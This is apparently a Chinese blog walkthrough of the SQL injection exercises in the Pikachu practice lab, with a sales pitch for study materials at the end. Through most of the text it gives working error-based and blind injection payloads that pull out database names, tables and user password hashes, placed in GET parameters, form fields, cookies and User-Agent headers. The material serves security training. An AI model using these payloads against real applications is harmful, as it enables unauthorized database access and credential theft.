SQL注入-Pikachu靶场通关_pikachu靶场通关sql

image-20230820234136099

字符型注入(get)

在输入框内输入admin

image-20230821001107432

尝试注入:

admin后加单引号,出现报错

image-20230821001230992

payload:
?name=admin' and 1=1--+ 回显正常
?name=admin' and 1=2--+ 回显不正常
存在注入

image-20230821001359846

sql语句被执行,爆出username不存在,说明插入的语句被执行带到数据库当中去查询

image-20230821001604712

接下来的步骤判断字段的个数,看回显点,爆库,爆表,爆字段,都和以上的数字型注入一致,区别就是类型不同,本题为字符型,单引号闭合,其他注入语句和以上一致。

搜索型注入

在输入框当中,尝试输入数字1

image-20230821001846899

分析为,sql语句当中存在模糊查找,%字符,与一般的字符型注入和数字型注入不同的是,搜索型注入的sql语句往往形如:select xxx from xxx where xxx like ‘%abcd%’

本质上和字符型注入的方式基本一样但闭合的特殊符号换成了%

测试注入点:

payload:
?name=1%' and 1=1--+ 回显正常
?name=1%' and 1=2--+ 回显不正常
存在注入

image-20230821002256959

说明sql语句被带到数据库当中去查询,被执行,没有查到信息

image-20230821002232803

接下来的步骤判断字段的个数,看回显点,爆库,爆表,爆字段,都和以上的数字型注入一致(注入sql语句也大体一致),区别就是类型不同,本题为搜索型,%'闭合,其他注入语句和以上一致。

xx型注入

不同的闭合方式分别去测试,本题为')闭合

使用圆括号尝试构造闭合:

name=1 正常

name=1' 报错

name=1') 报错

name=1') --+ 正常

image-20230821003312448

接下来的步骤判断字段的个数,看回显点,爆库,爆表,爆字段,都和以上的数字型注入一致(注入sql语句也大体一致),区别就是类型不同,本题为其他类型的闭合方式,')闭合,其他注入语句和以上一致。

判断字段个数:

image-20230821003537892

其他的爆库,爆表,爆字段,获取信息等sql语句和以上基本一致(数字型注入)。

insert/update注入

注册用户:

首先点击注册账号

image-20230821122800676

注册时,抓包获取信息

使用bp抓包,获取数据包后,发送给重发器进行测试

image-20230821122903454

测试注入:

从username处开始尝试

payload:
username=xiaohong' or updatexml(1,concat(0x7e,database()),3) or '&password=xiaohong123456&sex=%E5%A5%B3&phonenum=123123&email=hebei&add=hebei&submit=submit

' or updatexml(1,concat(0x7e,database()),3) or '

image-20230821123310141

若查看其他数据库信息,替换database()即可

爆数据表:

payload:
' and updatexml(1,concat(0x7e,(select table\_name from information\_schema.tables where table\_schema='pikachu' limit 0,1),0x7e),1) and '
通过修改limit 0,1当中第一个数字的值,逐一查看即可
...

' and updatexml(1,concat(0x7e,(select table\_name from information\_schema.tables where table\_schema='pikachu' limit 3,1),0x7e),1) and '
当limit 3,1的时候,可查看到users这张表 

image-20230821124824245

爆字段

payload:
' and updatexml(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 0,1),0x7e),1) and '
相同的道理,limit逐一去看列的信息
...

当limit 12,1的时候,发现username
' and updatexml(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 12,1),0x7e),1) and '

当limit 13,1的时候,发现password
' and updatexml(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 13,1),0x7e),1) and '

image-20230821125302124

image-20230821125327944

接下来就是获取username和password的信息

payload:
爆username的值:

' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),1) and '
同样的道理还是limit去逐一查看切换第一个数字的值即可
limit 0,1 查出admin用户
limit 1,1 查出pikachu用户
limit 2,1 查出test用户

image-20230821125914478

payload:
爆password
与username对应
admin密码:
' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) and '
pikachu密码:
' and updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) and '
test密码:
' and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) and '

成功获取密码

admin密码:

image-20230821130606002

pikachu密码:

image-20230821130736004

test密码:

image-20230821130756095

如果想一次性爆出,可以使用group_concat
但是updatexml限制长度,可以使用substr来进行显示
数据库的substr函数用法:
1、substr(str,pos,len)从pos开始的位置,截取len个字符;
2、substr(str,pos) pos开始的位置,一直截取到最后。

payload:
'and updatexml(1,concat(0x7e,substr((select group\_concat(username,'/',password) from pikachu.users),1,32),0x7e),1) and '

image-20230821132808132

当爆破完整的数据时,修改substr中第二个参数即可控制从何处进行显示,最后获得完整的数据。

爆出来的密码使用MD5进行解密即可。

更新用户信息:

在修改信息处,修改时进行抓包

image-20230821133616495

同理,使用bp抓包进行测试

测注入点,爆数据库
在add参数后面测试
payload:
' and updatexml(1,concat(0x7e,database()),3) and '#
其他参数位置都可以尝试

成功获取当前数据库
image-20230821133754231

其余的爆库爆表爆数据的操作和以上注册时注入的sql语句一致,大体一样。

delete注入

首先发表留言:

image-20230821134209255

删除留言时进行抓包

发给测试器进行测试

image-20230821134258904

测试注入点:

注意在bp当中,get请求当中去输入sql语句时,空格用+替代,否则会出现问题
payload:
+or+updatexml+(1,concat(0x7e,database()),0)--+

成功获取当前的数据库:

image-20230821135043594

其他的爆库爆表爆字段内容的sql语句以上注册时注入的一致。

http头部注入

该注入是对http包中的user-agent、x-forwarded-for或referer进行注入,当上述信息可被带入数据库进行处理时,可对其进行sql注入。

根据提示使用admin/123456进行登录

image-20230821135406179

登录后可查看到相关的信息ip,UA头信息等

开始尝试注入:

登录时使用bp抓包,发送给重发器进行测试

在cookie信息处存在注入,可进行注入:

payload:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

成功回显

image-20230821140000025

在UA头部也可以注入,也可以成功回显

payload和以上一致

' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

image-20230821140133874

发现通过报错注入,数据库名被回显,说明UA代理也是一个注入点。

后续注入的基本流程和方法如上述报错注入基本相同。使用cookie注入或UA注入都可以。

基于boolian的盲注

布尔判断指的是利用SQL语句逻辑与操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态。

(因为比较麻烦所以一般手动注入不会考虑此方法,需要慢慢判断)

输入任何值都说username不存在,有注入点,但是不会回显数据,这里可以尝试布尔注入,由于无法回显数据,利用逻辑操与数据库版本第1位数字字符做判断;

image-20230821142233189

image-20230821141531428

payload:
1' and left(version(),1)=5 --+
1' and length(database())>8 --+
' and length(database())>1#
 and (select substr(database(),1,1))='p'#



本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。


最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。


最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。


![](https://img-blog.csdnimg.cn/img_convert/311903982dea1d8a5d2c98fc271b5b41.jpeg)



### 学习路线图


 其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。


相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。


![](https://img-blog.csdnimg.cn/img_convert/1ddfaf7dc5879b1120e31fafa1ad4dc7.jpeg)


#### 网络安全工具箱


当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份**我自己整理的网络安全入门工具以及使用教程和实战。**


![](https://img-blog.csdnimg.cn/img_convert/bcd1787ce996787388468bb227d8f959.jpeg)


#### 项目实战


最后就是项目实战,这里带来的是**SRC资料&HW资料**,毕竟实战是检验真理的唯一标准嘛~


![](https://img-blog.csdnimg.cn/img_convert/35fc46df24091ce3c9a5032a9919b755.jpeg)


#### 面试题


归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值